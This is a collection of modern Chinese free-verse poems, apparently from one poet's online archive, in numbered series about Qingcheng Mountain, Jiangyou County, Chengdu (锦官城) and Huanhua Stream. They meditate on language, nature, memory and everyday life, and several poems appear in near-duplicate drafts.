春天的青城山五1605 《春天的青城山五》 山体岩石的碎屑， 向下垂直落在地面上， 制造了雾气。 \/ 人从山上掉落时， 出于意外，或脚下一滑。 从山下追查，一一被 赋予了殉道者的称呼。 \/ 山顶宽敞地方的不远处， 往往生长着松树。 寓意人品高洁。 也曾有其他树木和杂草， 被人们清理干净了。 \/ 你从很远的地方来， 群山最应该被参透的奥妙 早在汽车上面就已发现了。 \/ 有的时候， 雾气在半山腰萦绕。 大自然为我们提供费解的难题， 雾气如果由岩石坠落而来， 大自然正对着大巴车上一群 昏昏欲睡的人儿。 春天的青城山六1606 《春天的青城山六》 如果我不说， 嘴唇忍受北风吹拂， 嘴唇开裂如同西北地区的 白色盐矿。 \/ 如果我不通过他人的询问 来反照出来自己。 在他人是语言和文字的 这样一个人自我的蝶蝶重复的监狱。 \/ 以我觉得自己已经出来的方式 而身居其中。在囚牢中讨论真理 讨论谎言，墙壁上有一支破旧的钟表， 在时间的准确里面凌乱， 暗示了墙外是拐弯抹角，横七竖八 的北方的巷子。人是词语的影子 被月亮照射投在了地面上。 春天的青城山七1607 《春天的青城山七》 山体， 在牢固与脱落之间 是实物一个。 因此在语言里面 要变成了一种比喻和修辞。 而它的具体的形式 需要山体的沉默寡言，木讷 不仅仅于此，仿佛 是话语的含混引来了 山脚下蜿蜒曲折的河流。 语言修辞代表的叙述的困难， 比如，因为流向远方的困难 而形成了曲折。如果没有 一开始就说河流曲折的人类 空有言语的那样一种， 如同鸟类自挂高枝 白天与夜晚，都在 语言和群山之间， 本质般的流动和飞翔。 荷花八1608 《荷花八》 逝去老人的虚像，压住了语言。 过去他常常在那个地方坐着。 与他熟悉的人，因为他的苍老 而变得陌生起来。我来到远方， 想要对远方是否能够医治陌生 进行考察。逝去的老人，大地的 临界点，诗歌一般往往以走动方式 被人，和被我忽视的地平线。 而劳绩一般的反驳和解释， 它那越来越荒芜与现代化， 直到它不能跌入反驳当中， 那时候，有哀伤的音乐和歌曲， 行进的队伍，老人独自在树下 坐着，仿佛他能够看到这一切。 春天的青城山八1609 《春天的青城山八》 化念山中，再往里一点 打探出来那种，可以使用 当它以互通有无来表示。 像事物明明易逝， 在那一不需要寻找 和随后需要去寻找的瞬间。 在瞬间的同一和瞬间 它本身失去了。化念山中， 一切归于自然， 在言语的自我对白中 青藤，老树，旧年落叶 升腾而没有结束 是仿佛你走到了人类 道德最底部的那位置一个。 荷花九1610 《荷花九》 当语言这一丰盈事物， 在于虚假和不真实的时候。 而存在于真实的内部， 并不仅仅是原因于 充满人对于思索和感受的 烦忧。事实上你我殊途同归 我们才在今天，这个被 精心挑选而模样上普通的 大晴天，形同陌路 分道扬镳。被摩擦的 还包括万事万物。 我们没有意义的追问， 并不能够的延伸竭尽全力 我们使出了最后的力气 在大冷天里面匆忙前进， 一切都是语言上的罪恶 那代表着因为尚且没有而 发生的遥远和因而缓慢， 而我们并非那些看了又看者 一般，目光的黑亮。 即使推卸时常有发生， 并因此才喟叹，以大自然 它之伟力而时时刻刻宽恕着我， 我也看出了你的罪恶和过错。 春天的青城山九1611 《春天的青城山九》 我不去把它说出来， 是否言语的不确定， 它那近邻由我而来呢。 迟疑的结束推动着， 那不需要去思索的疑问 ——万物开始般的语气。 昨夜的回忆并没有离去， 事实上我只是遗憾， 当回忆就是没有离去的意思。 因此投身于大自然的 总会迟迟缓缓的变成了你我， 那自然界之中离去的发生， 多么的偶然。有一个离床铺 不远处明亮，白净的窗户。 光线偏移，太阳升高 被注目者以他自身也有的 是注目，当这一并不同样的 俯瞰，于石头一般坚硬的 表面躺卧，而温暖并非迥异。 春天的青城山十1612 《春天的青城山十》 无信仰，信仰有时候会与人结合。 从他们彼此分离，情形的众多中。 \/ 一个游客，帆布背包和牛仔裤 一个本地居民，有着忧郁的眼睛。 \/ 街道两旁的卷帘门哗啦响，生了锈 上了锁的大门经过了很多风和雨。 \/ 游客比居民更愿意聆听，他要看 我称之为“忧郁的别处”。 这本地人正忧郁眉头紧锁的看他。 \/ 县城远处的群山上，柏木和银杏 成片成片的倾泻而下，高大的 旅游大巴里面，一群人昏昏欲睡。 忧郁的江油县一1613 《忧郁的江油县一》 不去就是不去， 那么呆在这里的人 除了略显尴尬， 他的是永远都那么 年轻，仿佛以回光返照而 照射着他憔悴的一张脸。 而他的身体吃力的 始终无法将被自己遮挡的 影子挪开。仿佛是每一个 事物都围拢住了它，像一把 锁，接着像钥匙，但没有声音。 门却是开着，在早晨 最是有，给人现世之通往感。 回忆在他的脑袋里面， 回忆要让人交代着什么。 年轻的生命开始了毫不费力 思索族群的历程，随后 是毫无准备的伟大本身的虚无。 一切，都在这个小小室内发生。 睡觉，是更为为伟大所涂抹的 在雨水里面钥匙未来的人， 与自身有关着的种种， 在昨夜斜风细雨里面去了的人 咬碎了很多牙齿间的文字。 忧郁的江油县一1614 忧郁的江油县一 《忧郁的江油县一》 不去就是不去， 那么呆在这里的人 除了略显尴尬， 他的是永远都那么 年轻，仿佛以回光返照而 照射着他憔悴的一张脸。 而他的身体吃力的 始终无法将被自己遮挡的 影子挪开。仿佛是每一个 事物都围拢住了它，像一把 锁，接着像钥匙，但没有声音。 门却是开着，在早晨 最是有，给人现世之通往感。 回忆在他的脑袋里面， 回忆要让人交代着什么。 年轻的生命开始了毫不费力 思索族群的历程，随后 是毫无准备的伟大本身的虚无。 一切，都在这个小小室内发生。 睡觉，是更为为伟大所涂抹的 在雨水里面掩饰的人的未来 与自身有关着的种种， 在昨夜斜风细雨里面去了的人 咬碎了很多牙齿间的文字。 忧郁的江油县二1615 忧郁的江油县二 《忧郁的江油县二》 不去就是不去， 那么呆在这里的人 除了略显尴尬， 他的是永远都那么 年轻，仿佛以回光返照而 照射着他憔悴的一张脸。 而他的身体吃力的 始终无法将被自己遮挡的 影子挪开。仿佛是每一个 事物都围拢住了它，像一把 锁，接着像钥匙，但没有声音。 门却是开着，在早晨 最是有，给人现世之通往感。 回忆在他的脑袋里面， 回忆要让人交代着什么。 年轻的生命开始了毫不费力 思索族群的历程，随后 是毫无准备的伟大本身的虚无。 一切，都在这个小小室内发生。 睡觉，是更为为伟大所涂抹的 在雨水里面掩饰的人的未来 当未来因此就是虚无， 它还在下着，直到今早的这位置 即使言语无法推迟或者在于增长 全无的它的漫长。对于一种 亲身体验的理解而言， 那真实与梦境的融合， 以及你的起身，从床铺上。 那斜风细雨直到深夜里面， 雨水中的人儿。 忧郁的江油县三1616 《忧郁的江油县三》 河西走廊，汉族人的内在冲动。 河西走廊说着，是汉族人的 哪一部分。这个时候，乌云朵朵， 乌云片片，背后是晴天。 \/ 人安然无恙，马匹动了， 撞击上了口中白色的牙齿。 忧郁的江油县四1617 《忧郁的江油县四》 无的信仰。 突然之间我感到舒适 同样也就是有关于突然的 感觉。但不必要的诉说， 披挂着说话的嘴唇外衣 虽然没有强我所难的人儿， 也时时刻刻提醒， 绝非道德随着时间变化， 越来越宽阔里面，和 需要被拯救的溺水者。 一条江，往往寓意着 我去过，遥远和看起来毫无关联。 而如果我仅仅知道了 模样与神秘通过截然相反而 相仿。我从未探查过我 这身体一副。我遗忘， 只记得了可以自然走过去的人们 从这到那里，因而曲折 它折射了语言的必定平直。 有老人，小孩，女子 冬天的花踪迹全无， 但使得它们如此的始作俑者 那与我语言里面的残存之花朵 相平等的，冬季的寒冷。 我想了这么多而以此试图少的事情。 荷花十1618 《荷花十》 这遗忘之事忽然 想了但还没起来。 \/ 这话语用易逝来 迷惑着我，是这 不想让我认识的。 \/ 遗忘之事的这忘掉 和想起来同在一起了。 使得了突然反而平常， 我再次确认了一遍， 这一次我什么也没有说 闭着嘴也不需要说 吃饭的时候只需要吃饭就好了 一样，我说的是那些饭前的事情 \/ 是它们，再次看的时候 确实都普普通通了。 忧郁的江油县五1619 《忧郁的江油县五》 误解的来源，它的 有了因此被忽视。 这奔流不息着的以至， 是了常流不息， 直到你像那河边居住的人。 但更大的河水成为了， 语意上长江的太过丰满。 当它的并不满足， 无论你是否在河边浣洗， 以及与我同感到惊异。 而在此之前，以至于 我们都相对于未来而言 是逝去的人。因此 充满了拯救性质的未来， 不久之后就可以发生了。 而我要急切告诉你的， 讯息。像远离了星辰 一样远离开来，从我 对于念叨的熄灭这里 对于人这个人是我对于 你的烙印，走在干枯的河道 接着，永不干枯的长江水面。 \/ 你还好么，你黑亮的， 曾经转动了一切的双眼。 忧郁的江油县六1620 《忧郁的江油县六》 一棵树 以岁月里面土壤一般的 残缺，来获得它的收获。 \/ 与人和农民的这一种关系， 当这一切还没有在人这里完成 而且人还没有将视作了 最为特殊的此情形， 更为深刻的理解时候。 \/ 一棵树随着自然衰竭， 它听到了人类年轻，无知的叹息。 忧郁的江油县七1621 《忧郁的江油县七》 一棵树 以岁月里面土壤一般的 残缺，好来获得它的收获。 \/ 与人和农民的这一种关系， 当这一切还没有在人这里完成。 而且人还没有将视作了， 最为特殊的此种情形， 更为深刻理解的时候。 \/ 一棵树随着自然衰竭， 听到人类年轻，无知的感叹。 忧郁的江油县八1622 《忧郁的江油县八》 我按照你说的照做， 为了这个去和离开了的 这里，它因为此而充满了 雾气，人又增添了又一层。 人的这固定不变， 全部就有赖于未来。 而它作为一个最深层次的问题 仿佛相比于道德而言 是没有任何问题。 那么，自然它 令我感到不适吗？ 而什么起，天气转暖， 偶感风寒，我迈步 那些卖退烧药的药店里面 矗立在街道的前方， 里面没有了一个大夫坐诊。 青蛇二十一1623 《青蛇二十一》 如果，知情者很少，不多。 像是了一件事情的内部， 伴随着人们的吃惊 从词语就开始了。 那么，谁又能说 那连一句谢谢都不说的人 混迹人群，当中形形色色。 一句话，才可以不停的传递。 谁说人也是毫无相关呢。 我们不能有苛责的 要求一定要有一个答案的时刻。 忧郁的江油县九1624 《忧郁的江油县九》 如果，知情者很少，不多。 像是了一件事情的内部， 伴随着人们的吃惊 从词语就开始了。 \/ 那么，谁又能说 那连一句谢谢都不说的人 混迹人群，当中形形色色。 当他的到来时候，他看到了 这样的情景，也确实是， 我竖立起来了，在那表面 被称作了面容下面的 语言的截然相反，因为人 而面容的相仿。 \/ 一句话，才可以不停的传递。 ————这是我们烟熏猪肉般， 我们过了那烟熏语言时候之时 才到达了它，异乡人犯了难 为此获得了些许快感的是当地人。 邀月一1625 《邀月一》 明月千里寄相思 那么，明月它必然 披挂着路途漫长的云彩。 阻挡了它的是称呼作“她”， 如果让它继续这么下去 如同命定的宿命， 而人间的姻缘和美满 竟似神话，地面皎洁。 而人间与明月相约者 自此以后，将一袭红装 放入了再无穿戴的衣柜。 她趴在窗边，手儿托着 下巴，明月照着她的脸庞 情人儿相隔了几千年 邀月共饮的姿势长久不变 在明月上面，宴席孤独 月下的孤影一一知晓。 邀月二1626 《邀月二》 明月千里寄相思， 那么，它必然披挂 因路途漫长而来的云彩。 阻挡了它的是称呼作“她”， 如果让它继续这么下去 如同命定的宿命， 而人间的姻缘和美满 短暂竟似神话，地面皎洁。 \/ 匆匆离去的郎君同样热爱， 由热爱制造的人间梦幻。 而人间与明月相约者， 不能承受的是寓意良多， 她将一袭红装放入衣柜 从此，再无法的穿戴。 \/ 趴在窗边，她用手轻轻的 托起下巴，她的爱人，那 吴刚的侍者，那醉梦的诗仙， 因此已经不断的为寂寞和 孤独祷慰，彼此相隔千年 邀月共饮，身姿长长久久。 \/ 五千年的一场宴席，男欢女爱 尽是孤独，语言一距离远上一些 它们的本质又通过了他人暴露出来。 邀月三1627 《邀月三》 我的想，它的应该 ——于是这不可摆脱 因为摆脱了人之自我， 而随着时间流逝而虚假坚决。 \/ 这是对人们的拷问吗， 它因为任何轻微，披着 温和语气的反驳而成真了。 它接着获取到了的 就是这自然中的语言。 \/ 仿佛，我只是睡了一觉 不经意间，早晨的晨雾 一般，使人把寒冷当作遗忘。 同样的一件事情，同样不同 的一件事情里面人 已经尽了最大努力了。 \/ 已经因此所代表的莫须有， 而成为别的。或许也正是 要如此，在对人类德性 确定的这条吃力历程上。 人群众多，街道上有时候 赶集，过节般沸沸扬扬。 看似毫无相关的时刻， 尖声细语告诉我们还 懒懒散散活着的人。 \/ 我是容易妥协的人， 以这思看到了的形式。 白素贞二十四1628 《白素贞二十四》 我会在天空纯净如破碎那里 寻到了你，才可以视而不见的离开。 人的本质就是随时随地去迎接自身， 当时你走过一个又一个德国的村镇。 \/ 我们可以通过树木制造出匪夷所思， 奇妙的音乐，是宇宙的所有和全部。 \/ 我在一条大街上说这句话， 宇宙在自已体内低了又低。 邀月四1629 《邀月四》 我知道了。 我知道人们围拢住的是虚假。 人们围拢住“如果”。 \/ 花落了， 掉在水面， 溪水流淌。 \/ 我听见自己扶着最细的腰肢 向着我的听不见， 以那里也是错误的 它的内部是这里。 我也有的，一双无法 亲吻你的嘴唇。 忧郁的江油县十1630 《忧郁的江油县十》 我会是在地球之于地面 上跳跳，它已经因此而命运一般， 而必然的是属于结束的。 是我的不会是会。这一开始之物 我还可以说，和充当着以修改的模样。 \/ 话语只被一个说出者看到。 话语的说出者不被看看到 不被意愿的说提到。 从看到看，中间是说还是人类。 \/ 回到岸上。从水面离开， 那么回是颠倒之中的， 而归途平坦中的什么呢。 作为不可回答而提出者， 像面对的所有神秘是有关个体 这个来源不明朗相似性的事物 先于那提出如同自然的短短一瞬 天气很冷，呵气成霜。手也冷。 忧郁的江油县十1631 忧郁的江油县十 《忧郁的江油县十》 我会是在地球之于地面 上跳跳，它已经因此而命运一般， 而必然的是属于结束的。 是我的不会是会。这一开始之物 我还可以说，和修改。 \/ 话语只被一个说出者看到。 渐渐的，当话语的说出者 不被看看到，不被意愿的说提到。 从看到看，中间是说还是人类。 在这个虚无被彼此认同的时刻。 \/ 回到岸上。从水面离开， 那么回是颠倒之中的， 而归途平坦中的什么呢。 作为不可回答而提出者， 像面对的所有神秘是有关个体 这个来源不明朗相似性的事物 先于那提出如同自然的短短一瞬 天气很冷，呵气成霜。手也冷。 荷花十一1632 《荷花十一》 你不修理，只是修理的 一种姿势修理着我的语言。 \/ 如今，语言它的已是如此了， 你停下了修理的脚步和活动。 \/ 当那还没有说完的将你包围起来， 劳动者之美中忧愁的部分。 生活之手在暗中摸索着前进， 在这个方寸之间犹如天地的某一片。 荷花十二1633 《荷花十二》 轻轻的罪孽的一触， 而不可到达赎罪般的返回。 家门破旧的木制，敞开着 这善良被衣裳般穿戴着的妇女。 \/ 我信使一般的需要你 一个褪去了责任人。 我一下子叫住了一个陌生人 一般的你，因为声音而最后一片 雪花如同在太阳底下降落 在大地的两不相认的再一次发生上， 陌生的事物接受了你的回答。 花重一1634 《花重一》 如果一棵树 老老实实的开花， 老老实实结果。 尚且因为没有完成 而从触及到了的人类 那里离开， \/ 一定有这么一棵树 但我不记不清是哪一棵。 我爬上山坡，给它送行。 \/ 有时候我也在了更远的地方， 像那棵树一样，在被寂寞的包围里面 老老实实的开花， 老老实实的结果。 花重二1635 《花重二》 树木的不远为近处 是不远以意思的方式相问。 相回答的是同样一棵树 眩晕了，它盯着日轮。 树木的不远处是叶子， 语言披着难察觉的衣裳 在更近的位置。有时候 春天来了，南风起了 树木摆动起来，开始 这个命令和词语，由 沉默的语言下答。 花重三1636 《花重三》 石头和小草， 会走进诗歌里面。 永不停歇往后倒退 诗歌的宿命 \/ 当它还没接受寒冷， 还没接受干燥与粗糙。 \/ 同样的事物， 石头和小草的差异与不同 需要诗歌来表达。 石头从诗歌里面走了出来 \/ 还是平平淡淡的一天 太阳七点多升起， 太阳哆哆嗦嗦， 像报时鸟刚换了新零件。 花重四1637 《花重四》 如果是弄错了， 继续错下去， 跟错下去并不一样。 那就错下去吧， 那就是语言的形式 如果有，在这有的修饰 和点缀里面， 像略显干燥的嘴唇 跟晨雾，寒冷，街道的关系一样。 爱情突然因为一辆 陌生，匆忙的汽车 在内心泛起。 作为一个女子， 你将这所有的一切都反转 和颠倒的时候。 锦官城一1638 《锦官城一》 我的解释我的回答， 或许从不会正确。 涉及到大的问题， 带着最终爆炸般的寂静 再次回到安静的土地。 \/ 卧室里面的闹钟， 只是从挂在墙壁上给 历史偏移一般放在了 同样，更加圆润鲜亮的 木柜子上。 \/ 我从床上起来， 掀开被子， 被子的表面充满了 彩色的皱褶。 我做的梦正在消散， 桌子，地板砖，和电视机 高低起伏，像手牵着手 舞蹈着的事物。 锦官城二1639 《锦官城二》 离开瞬间的人， 其实没太多东西 可以收拾和打包。 \/ 我是第一个 于是我愿意是最后一个。 我看，发现的雾气 存在于我的语言 但没有什么人相信 它们的形式极有可能 成为了形式之美的赞歌。 \/ 内心吟唱的人儿， 外在的表面往往五音不全。 我唱过一次， 时间超过了十根手指头 而成为了秘密。 \/ 发现，黑眼睛到嘴唇 我的鼻梁下面， 极有可能是群山的两个洞窟。 \/ 今天的风如果大一点 那么它将会摧毁一夜之间 人们可以重新建立的一切。 它呼呼呼的吹，在我的耳边吹 为什么它总是吹动毫无相关的人们呢。 锦官城三1640 《锦官城三》 我推这个声音， 推你嘴唇里面的东西。 推失去的东西， 是为了以防万一。 \/ 在突然之间感到信任， 和对于陌生来客的 有必要戒备之间， 门槛上落满了我们的经验。 \/ 走进门时候你磕了一脚 如今我们坐在同样的地方 太阳偏西了，我们的影子 倾斜。 锦官城四1641 《锦官城四》 如果一棵树 老老实实的开花， 老老实实结果。 它本身就是的这样一个结果 必然而又缓慢， 所产生出来疑问。 \/ 除了吃以外的， 就像我梦想过 人类良心的抵达 一般的虚假而渴求于 仅仅出发的成千上万的真。 \/ 一颗果子从天上掉了下来， 一个没有雷声的高处下雨。 在躲进树底下一般万物的源泉之时 我在走进来的路上， 想起而又遗忘。 以想起来它们是我 无法去回答的形式。 锦官城五1642 《锦官城五》 如果一棵树 老老实实的开花， 老老实实结果。 它本身就是的这样一个结果 必然而又缓慢， 所产生出来疑问。 \/ 那将会因为逝去 而永远不会再见了的 意思，在自然里面 如同大面积水蒸气般的云彩 对于光线的多重分解。 \/ 它本身就是的这样一个结果， 偶然荒地的某一个角落 它老老实实的开花，结果。 再往下是， 语言它体现了多么的轻易呢 只因为人类的一句话 一棵树就身体陷入了自我束缚 锦官城六1643 《锦官城六》 离开瞬间的人， 其实没太多东西 可以收拾，打包。 \/ 在晴朗的天空 我无法清空自己的耳畔 传过来悦耳的声音 像在积雪里发现遗失的东西。 \/ 我是第一个 于是我愿意是最后一个。 我是最后一个的如同了某一种奥秘 我是第一个愿意是最后一个的人。 \/ 我正坐在高高的山上， 因为山坡和巨石， 保持端正的困难， 像一个生动而又拟人的动词 远方的人喊我的名字 我就会偶尔回应一下。 锦官城七1644 《锦官城七》 离开瞬间的人， 其实没太多东西 可以收拾和打包。 我这毫无价值的发现， 你可以打包。 抬起头来，为何 我看到的是一张憔悴的脸庞。 我宁愿在记忆里面 以谎言的方式 从嘴唇的通道而出。 一棵树的长青， 在那不远处，曾是你 永恒的居所。 为什么你还要带着我 在飘零的错误里面一起证明。 我们刚刚从亮着灯的小村庄离开 北风呼啸，倦鸟埋在雪里面 这是要去哪里，你自己知道吗。 锦官城八1645 《锦官城八》 还有你，纯洁的朗读，（而如今 因为历史伟大之中的短暂， 而没有了张枣，张枣写下它们）。 如果这些雨水是水面的影子， 还没有降落下来的时候地面 理所应当的干燥着，谈论时间的 人注定要回家。如果这周遭环境 以并不变化向坏的方式，那良善 的延展，便犹如一种重逢冠名的 遇见。就是在这里，多么惊奇的 这一个地方。你还敢往前走吗？ 准备以勇气的呼吸测试自然。 锦官城九1646 《锦官城九》 流星中包含着文字， 下落用以描述， 更大的星星 星群对于文字的燃烧。 在这种光明发出光芒下面， 有必要的文字也消失 也显示了我们正在作为一个 虔诚的信徒。 我们正如同我们语言的曲折 翻越几座山岭，没有翻阅过的 在它们的山脚下我们点燃篝火。 语言被说出，另外的那一种情形 我们弯下腰，在简陋的餐板上 切清洗干净的蔬菜和猪肉。思想的 通达也是一个人他自己的特征。 锦官城十1647 《锦官城十》 首先需要看看， 在雨水中的，那雨水 落下的声音后面， 不是语言。 语言和文字的界限 竟然如此的远。 以至于在干燥之后， 长途旅行的辛苦 在这个屋檐下面躲雨的 明代和唐代的现代化起点这里。 竟然是浪漫的毫无相关性可言， 而陌生人:一定是这陌生城市里面， 想要融入万家灯火的女子。 你的离开始终有着另外一层缘由， 在你的衣裳外面漂浮。 在你的衣裳外面围绕的不是的 是别的。是残缺，和一张张 雨水里面为爱失魂落魄的脸庞 的回答。我的一双眼睛 不够用里面够用，我在这里 星星旋转，我渴望大的词语。 荷花十三1648 《荷花十三》 嘘，情人 嘘，爱人。 \/ 你在一条小舟上寻找我的情人。 你在波光粼粼的水面上看到了 水底的螃蟹。 锦官城十一1649 《锦官城十一》 首先需要看看， 在雨水中的，那雨水 落下的声音后面， 不是语言。 语言和文字的界限 竟然如此的远。 以至于在干燥之后， 长途旅行的辛苦 在这个屋檐下面躲雨的 明代和唐代的现代化起点这里。 竟然是浪漫的毫无相关性可言， 而陌生人:一定是这陌生城市里面， 想要融入万家灯火的女子。 你的离开始终有着另外一层缘由， 在你的衣裳外面漂浮。 在你的衣裳外面围绕的不是的 是别的。是残缺，和一张张 雨水里面为爱失魂落魄的脸庞 的回答。白天，建筑工地 哒哒哒的承担了大地转化为 间接的愤怒。作为一个起点 我也多么的希望， 你在我的眼睛里面可以寻找了 人类的终点。人类衰弱为人 你可以走进瞬间更猛烈的雨 一个人，在影子的雨水的深处 反过来将它们也灌满了人类的 情感的全部的丰盈。 锦官城十二1650 《锦官城十二》 在手的大陆上面 充满了遗憾。 所以你因为不来 而更加的来了。 我有一个选择， 我并不关注， 你的想的事与愿违 应该像青草。 干枯也罢，或者翠绿 直达一般悲剧的欢欣， 现在，正指向了包括我 和人类整个的天空。 你也说了，说了的 有关于上个世纪六七十年代的 东西，草茎，草垛般的 投入了火焰。火焰 投入了历史般的匆匆结束吧。 我们趁着月朗星稀而展开餐布 我们对话的形式和内容， 只不过激荡了水波 而只有在遗忘的与瞬间里面， 这个夜晚才很长， 比如，以历史的尺子。咔嚓咔嚓。 锦官城十三1651 《锦官城十三》 每个词语，每个词 都有声音，捞起它 就有了一个湖 我说你渴了，你也无法反驳。 你反驳白云，夜晚 它变了颜色。白云的 命运与我有关 语言的表面漂浮着 白云与我的息息相关了。 白云在夜晚追着我 大地上正因为夜风对 空旷的感叹 而伟大的循环与命运 正在上演。我穿着鞋 乡村专属，我给亲戚 说这一些，他们不懂 我才离开。 锦官城十四1652 《锦官城十四》 舒张压的扩张 140的你胳膊停留 像放在桌子上面的手腕。 诗意，就是你一直盯着 静止不动。在文字的漫长 旅途里面，谁也不知道的 是否正确，乔装打扮成语言 扰乱着文字孤独的本质。 而每一天都因此有那么多 人，橱窗和玻璃外面，是 明明从来都没有走进来过的 行人。自由自在的走，小心翼翼 的走。哒哒哒哒，天会下小雨 就是从很高的地方掉很多东西下来。 锦官城十五1653 《锦官城十五》 离开瞬间的人， 其实没太多东西 可以收拾和打包。 我这毫无价值的发现， 你可以打包。 \/ 如此娴熟的手法 让人心疼的中年人。 院子干干净净 不远处的长江打扰， 推开了风。 \/ 叶子落了下来 空中飘飘荡荡。 离开的人走向了山那边 的法庭， 抬起头来 我看到的是一张憔悴的脸庞。 \/ 我知道你咬紧牙关， 像两排因为语言而遥远的江水 我们不怕它们， 你的情绪如此的迟缓， 对着还是要宣泄的必然性 历史，人伦和顽固 \/ 你在地里面种地，刨土 你又回来了。 锦官城十六1654 《锦官城十六》 你藏在文字底下， 我一次次的经过。 我胆战心惊的心脏 体验着擦肩而过。 我又长了一岁， 人总是会有不同的目标， 偶尔我也会怀念你 我无法拿捏准确， 怀念的语气。 锦官城十七1655 《锦官城十七》 每个词语，每个词 都有声音，捞起它 就有了一个湖 我说你渴了，你也无法反驳。 你反驳白云，夜晚 它变了颜色。白云的 命运与我有关 语言的表面漂浮着 白云与我的息息相关了。 白云在夜晚追着我 大地上正因为夜风对 空旷的感叹 而伟大的循环与命运 正在上演。我穿着鞋 乡村专属，我给亲戚 说这一些，他们不懂 我离开，在看见中 有形状狭细的一撇。 锦官城十八1656 《锦官城十八》 我们在脱口而出的自我 检查里面，很像。 阳光被我们一分为二， 我们走进了院墙下的阴影 里面。这遮盖了真相的影子 拥有让人愤怒，无奈的沉默。 我们的影子是一种 延伸，以一切来修饰的替代品。 我们的影子消失不见了 一个女子的自画像， 在远处便徐徐而起。 锦官城十九1657 《锦官城十九》 一个老人往前面走着， 步履蹒跚，沿着柏油路左侧。 \/ 他逐渐丢弃掉的尊严和面子， 在他的影子里面，与影子 喋喋不休。 \/ 目光中包含热情的上午， 我谈不上爱与不爱。 锦官城二十1658 《锦官城二十》 垃圾桶散发臭味， 混合其他各种味道。 \/ 垃圾桶外面，就是 一条居民区的马路。 \/ 再往南，穿过居民区 还没有开工的工地展露眼前。 \/ 继续翻过面前的山， 在山的另一面，城乡结合部的 梯田，下面荫绿，山上荒废。 \/ 回到垃圾桶这里， 我是一只红色的大公鸡。 过年了，我也长大了。 我的脖子上血已经凝固， 呈现摄人心魄的深褐色。 \/ 我永远也不会再醒过来了。 花重一1659 《花重一》 如果一棵树 老老实实的开花， 老老实实结果。 尚且因为没有完成 而从触及到了的人类 那里离开， \/ 一定有这么一棵树 但我不记不清是哪一棵。 我爬上山坡，给它送行。 \/ 有时候我也在了更远的地方， 像那棵树一样，我的旧友。 在被寂寞的包围里面 老老实实的开花， 老老实实的结果。 锦官城二十一1660 《锦官城二十一》 奇怪问题和多余， 在对人嘴唇的拜访之中。 \/ 当蛊惑性与欲望 或者欲望与万事万物的相得益彰。 \/ 所以人的影子只有在 他推开屋门，走出自己房子的 那一瞬间，才不是自己的。 \/ 瞬间常提，他人便犹如 一个个的，抵不过语言的轮回。 \/ 你去到河边打水，你去河边的 光滑大石头上搓洗上衣和裤子。 他人是你，我不愿意如此所说 隐而不发，像拍打拍打激荡起水声四溅。 浣花溪一1661 《浣花溪一》 我确实听到了， 我发现声音是为此进行 补救的实质，那种情况 在它们自身之内 有一片百叶窗， 也谈不上多与少。 \/ 这是我在外面的声音， 这于是是我在人们往往以为是 外面的旷野和山林地带 ——在流逝中不能忍受的我。 \/ 我将目光转向了他。 我比他还要自然， 我仿佛正是在重复 他说过的每一句话， 每个词语。 \/ 我们在纸张上面分道扬镳 再次遇见的时候 冷漠的眼睛里面 都有似曾相识的感觉。 浣花溪一1661 《浣花溪一》 我确实听到了， 我发现声音是为此进行 补救实质的那种情况。 在它们自身之内 有一片百叶窗， 也谈不上多与少。 \/ 这是我在外面的声音， 这于是是我在人们往往以为是 外面的旷野和山林地带 ——在流逝中不能忍受的我。 \/ 我将目光转向了他。 我比他还要自然， 我仿佛正是在重复 他说过的每一句话， 每个词语。 \/ 我们在纸张上面分道扬镳 再次遇见的时候 冷漠的眼睛里面 都有似曾相识的感觉。 浣花溪二1662 《浣花溪二》 说总是，也只是说。 让那位修桥老师傅说。 我感激，让我在乡间的 河水边，说话的泥瓦匠。 \/ 神奇最容易的，被实现了。 它常交给我，一个叫失败的 东西。或许还是它并不愿意， 催促一个继续做同样事情的我。 \/ 我创造的文字具有循环感， 和悲观，命运的色彩。直到 一间明亮的房间，刹时变作 密室里面铁匠师傅的工作间。 \/ 谎言这个词，让打铁的虚幻停下。 冰冷的精神在虚弱的身体上栖居。 我的农民的目光从枯草和田野的 表面浮略过去，有时候我自己也会 走到那边去。这样所谓深刻反思的 时刻也很平常。一位匠人的妻子 打断了我的胡思乱想，我顺着她的 步伐，总能够找到，一条涓涓流淌的河流。 浣花溪三1663 《浣花溪三》 女子， 就是总要去河边打水 去河边洗一次衣服的人。 浣花溪四1664 《浣花溪四》 关上以声音作为参考和依据的 门。大的是院子，小的 却在摆脱了雾气的人儿那里 成为知识了。 \/ 不小心总会变成小心 里面的会更加不小心。 令人叹息找不到自己的位置。 \/ 不小心关在了里面的 是叫做了自己的这把锁。 于是，一切都是你在说话的本质呢 像一面镜子的是你枯黄的脸庞 即使我善良的倾听，而内心里面 如此自然的睡去所能代表的为什么呢 浣花溪五1665 《浣花溪五》 比如，一个词 加四川， 就成为宇宙。 \/ 我将更久的围绕你， 古人已经带着这个词语 离开了。 \/ 这里是这里的阴影 新的出发点是从阴影出发 我感觉了你满怀热情和自信。 浣花溪六1666 《浣花溪六》 因为黑夜，被想象之物 作为了一个中间环节。 隐秘如黑，承担着职责。 对于被人关照的这一切， 当他也有别的事情分神， 对于被想象之物的证明 和一头红色垂暮的狮子 同时出现。大可以是为了， 对于共同消失的等待吧。 浣花溪七1667 《浣花溪七》 到头来 太阳落山， 和有一座山。 我们吃饭， 围在一起。 东拉西扯， 表情各异。 吃饱饭了， 上床去睡。 \/ 建筑到头来 建筑一个词语都难。 农民和木瓦匠师傅， 先是要为自己而活， 工作中没有特需要抉择的。 \/ 大自然以极其平常的面貌， 破坏了我脑海里的认识。 世界给我葡萄园的葡萄， 它里面的籽又小又椭圆。 浣花溪八1668 《浣花溪八》 说存在了，或者消失。是否以真 来言说，当它打算更超过 说出时候的这一个当下的瞬间。 而月朗星稀，我发现思考短暂， 或者思考本身就像是人的影子 可以用来去替换的东西， 太多了而在于了脑海，称其 作想象。面前，堆满鲜花的 也就有可能同时是罪恶的。 面前为谈论和声音的传播， 使得了远处仅仅以坚固的楼体 承受着语言的震动。我自我指认 而他人并不应该受罚， 我并不感到舒服了很多， 它们也转瞬即逝，一切都将逝去， 我是神秘论题里面的某一种具象化。 浣花溪九1669 《浣花溪九》 伟大，通过现世所看到的 我们通过它对自我的寻找 如果感情太过于丰盈的爆破， 才可以抵达没有语言的真正虚无。 体验与感受，为什么转变 而轮回仿佛与语言息息相关。 我们紧闭着嘴唇，偶尔说出 一两句与当下紧密相关或者 无关的话语。即使前方的房间 没有我们要找的东西，刷牙 和洗脸，洗澡都无法清洗内心。 